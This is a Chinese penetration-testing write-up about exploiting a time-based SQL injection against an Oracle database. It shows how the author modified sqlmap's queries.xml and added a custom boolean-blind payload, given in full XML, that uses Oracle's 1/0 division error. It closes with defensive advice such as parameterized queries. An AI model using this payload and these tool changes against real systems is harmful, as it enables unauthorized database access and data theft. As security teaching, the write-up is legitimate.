一次平平无奇的 Oracle 注入
字数 1001 2025-08-23 18:31:09

Oracle 数据库注入实战:从时间盲注到布尔盲注的优化

1. 注入点发现与初步确认

在某次渗透测试项目中,发现了一个Oracle数据库注入点,利用方式为时间盲注。初步确认要点:

  • 数据库类型:Oracle
  • 注入类型:时间盲注
  • 初步工具尝试:Sqlmap可以识别该注入点

2. Sqlmap利用问题分析

当尝试使用Sqlmap进一步查询数据时,发现无法正常获取数据。通过代理流量分析发现:

常见查询语句报错

  • SELECT banner FROM v$version WHERE ROWNUM=1 报错
  • CAST(%s AS VARCHAR(4000)) 报错
  • NVL(%s,' ') 报错
  • COUNT 方法报错

问题原因

可能是数据库版本或配置原因导致标准查询方法不可用

3. Sqlmap payload修改方案

修改文件位置

data/xml/queries.xml 中的Oracle payload部分

关键修改点

  1. count替换为sum(1)
  2. 修正current_dbcurrent_user的payload(原文件中两者相同)
  3. 替换所有会导致报错的数据库方法

修改示例

<!-- 修改前的count用法 -->
<count>COUNT(*)</count>

<!-- 修改后的count用法 -->
<count>sum(1)</count>

4. 时间盲注的效率问题

修改后的Sqlmap虽然可以跑数据,但存在以下问题:

  • 时间盲注受网络波动和数据库响应影响
  • 返回数据经常出错
  • 效率极低,数据输出量少

5. 转换为布尔盲注的优化方案

利用发现的两个现象:

  1. 数据库报错时返回页面与正常情况不同
  2. Oracle数据库的1/0会报错特性(MySQL不会)

布尔盲注payload修改

文件位置:data/xml/payloads/boolean_blind.xml

添加以下payload:

<test>
    <title>Oracle AND boolean-based blind - (custom)</title>
    <stype>1</stype>
    <level>1</level>
    <risk>1</risk>
    <clause>1</clause>
    <where>1</where>
    <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END)</vector>
    <request>
        <payload>AND [RANDNUM]=(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END)</payload>
    </request>
    <response>
        <comparison>AND [RANDNUM]=(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END)</comparison>
    </response>
    <details>
        <dbms>Oracle</dbms>
    </details>
</test>

6. 最终效果

通过以上修改:

  1. 解决了标准查询方法报错问题
  2. 将时间盲注转换为更可靠的布尔盲注
  3. 大幅提高了数据获取效率和准确性

7. 关键经验总结

  1. 灵活调整工具:当标准工具无法直接使用时,需要分析原因并调整工具配置
  2. Oracle特性利用:充分利用Oracle的1/0报错特性实现布尔盲注
  3. 效率优化:时间盲注效率低下时,应考虑转换为其他注入方式
  4. 持续测试调整:需要根据返回结果不断调整SQL语句和payload

8. 防御建议

针对此类注入攻击,防御方应考虑:

  1. 严格过滤输入参数
  2. 使用参数化查询
  3. 限制数据库错误信息的返回
  4. 对关键系统函数进行访问控制
Oracle 数据库注入实战:从时间盲注到布尔盲注的优化 1. 注入点发现与初步确认 在某次渗透测试项目中,发现了一个Oracle数据库注入点,利用方式为时间盲注。初步确认要点: 数据库类型:Oracle 注入类型:时间盲注 初步工具尝试:Sqlmap可以识别该注入点 2. Sqlmap利用问题分析 当尝试使用Sqlmap进一步查询数据时,发现无法正常获取数据。通过代理流量分析发现: 常见查询语句报错 SELECT banner FROM v$version WHERE ROWNUM=1 报错 CAST(%s AS VARCHAR(4000)) 报错 NVL(%s,' ') 报错 COUNT 方法报错 问题原因 可能是数据库版本或配置原因导致标准查询方法不可用 3. Sqlmap payload修改方案 修改文件位置 data/xml/queries.xml 中的Oracle payload部分 关键修改点 将 count 替换为 sum(1) 修正 current_db 和 current_user 的payload(原文件中两者相同) 替换所有会导致报错的数据库方法 修改示例 4. 时间盲注的效率问题 修改后的Sqlmap虽然可以跑数据,但存在以下问题: 时间盲注受网络波动和数据库响应影响 返回数据经常出错 效率极低,数据输出量少 5. 转换为布尔盲注的优化方案 利用发现的两个现象: 数据库报错时返回页面与正常情况不同 Oracle数据库的1/0会报错特性(MySQL不会) 布尔盲注payload修改 文件位置: data/xml/payloads/boolean_blind.xml 添加以下payload: 6. 最终效果 通过以上修改: 解决了标准查询方法报错问题 将时间盲注转换为更可靠的布尔盲注 大幅提高了数据获取效率和准确性 7. 关键经验总结 灵活调整工具 :当标准工具无法直接使用时,需要分析原因并调整工具配置 Oracle特性利用 :充分利用Oracle的1/0报错特性实现布尔盲注 效率优化 :时间盲注效率低下时,应考虑转换为其他注入方式 持续测试调整 :需要根据返回结果不断调整SQL语句和payload 8. 防御建议 针对此类注入攻击,防御方应考虑: 严格过滤输入参数 使用参数化查询 限制数据库错误信息的返回 对关键系统函数进行访问控制